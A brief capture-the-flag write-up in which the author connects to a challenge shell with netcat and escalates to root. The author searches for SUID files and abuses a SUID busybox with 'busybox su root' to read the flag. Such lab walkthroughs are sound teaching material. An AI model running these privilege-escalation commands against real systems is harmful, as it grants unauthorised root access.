Here we are given a netcat listener and we have to connect to it.
```
nc 34.85.38.218 10002
```

After connecting we will have a shell.

```shell
/ $ ls
ls
bin flag lost+found proc sys
dev lib media root tmp
ecrypt.ko lib64 mnt run usr
etc linuxrc opt sbin var
/ $
```

currently we are in root directory.

let's try to read the flag
```shell
/ $ cat flag
cat flag
cat: can't open 'flag': Permission denied
/ $
```

Permission denied!!

Let's search for any suid files on our target system

```
find / -perm -u=s -type f 2>/dev/null
```

This will give us a file named busybox

Run busybox
and it will show us all the configurations which are avialable
```
/ $ busybox
busybox
BusyBox v1.35.0 (2022-03-22 21:54:53 JST) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

Usage: busybox [function [arguments]...]
or: busybox --list[-full]
or: busybox --show SCRIPT
or: busybox --install [-s] [DIR]
or: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as.

Currently defined functions:
[, [[, addgroup, adduser, ar, arch, arp, arping, ascii, ash, awk,
base32, base64, basename, bc, blkid, bunzip2, bzcat, cat, chattr,
chgrp, chmod, chown, chroot, chrt, chvt, cksum, clear, cmp, cp, cpio,
crc32, crond, crontab, cttyhack, cut, date, dc, dd, deallocvt,
delgroup, deluser, devmem, df, diff, dirname, dmesg, dnsd,
dnsdomainname, dos2unix, du, dumpkmap, echo, egrep, eject, env,
ether-wake, expr, factor, fallocate, false, fbset, fdflush, fdformat,
fdisk, fgrep, find, flock, fold, free, freeramdisk, fsck, fsfreeze,
fstrim, fuser, getopt, getty, grep, gunzip, gzip, halt, hdparm, head,
hexdump, hexedit, hostid, hostname, hwclock, i2cdetect, i2cdump,
i2cget, i2cset, i2ctransfer, id, ifconfig, ifdown, ifup, inetd, init,
insmod, install, ip, ipaddr, ipcrm, ipcs, iplink, ipneigh, iproute,
iprule, iptunnel, kill, killall, killall5, klogd, last, less, link,
linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger, login,
logname, losetup, ls, lsattr, lsmod, lsof, lspci, lsscsi, lsusb, lzcat,
lzma, lzopcat, makedevs, md5sum, mdev, mesg, microcom, mim, mkdir,
mkdosfs, mke2fs, mkfifo, mknod, mkpasswd, mkswap, mktemp, modprobe,
more, mount, mountpoint, mt, mv, nameif, netstat, nice, nl, nohup,
nologin, nproc, nslookup, nuke, od, openvt, partprobe, passwd, paste,
patch, pidof, ping, pipe_progress, pivot_root, poweroff, printenv,
printf, ps, pwd, rdate, readlink, readprofile, realpath, reboot,
renice, reset, resize, resume, rm, rmdir, rmmod, route, run-init,
run-parts, runlevel, sed, seq, setarch, setconsole, setfattr,
setkeycodes, setlogcons, setpriv, setserial, setsid, setuidgid, sh,
sha1sum, sha256sum, sha3sum, sha512sum, shred, sleep, sort,
start-stop-daemon, strings, stty, su, sulogin, svc, svok, swapoff,
swapon, switch_root, sync, sysctl, syslogd, tail, tar, tc, tee, telnet,
test, tftp, time, top, touch, tr, traceroute, true, truncate, ts, tty,
ubirename, udhcpc, uevent, umount, uname, uniq, unix2dos, unlink,
unlzma, unlzop, unxz, unzip, uptime, usleep, uudecode, uuencode,
vconfig, vi, vlock, w, watch, watchdog, wc, wget, which, who, whoami,
xargs, xxd, xz, xzcat, yes, zcat
/ $
```

Notice the **su** service here

We got it :

run
```
/ $ busybox su root
busybox su root
/ # ls
ls
bin flag lost+found proc sys
dev lib media root tmp
ecrypt.ko lib64 mnt run usr
etc linuxrc opt sbin var
/ # cat flag
cat flag
LINECTF{WOW!_powerful_kernel_oor_oow}
```

And we have our flag ?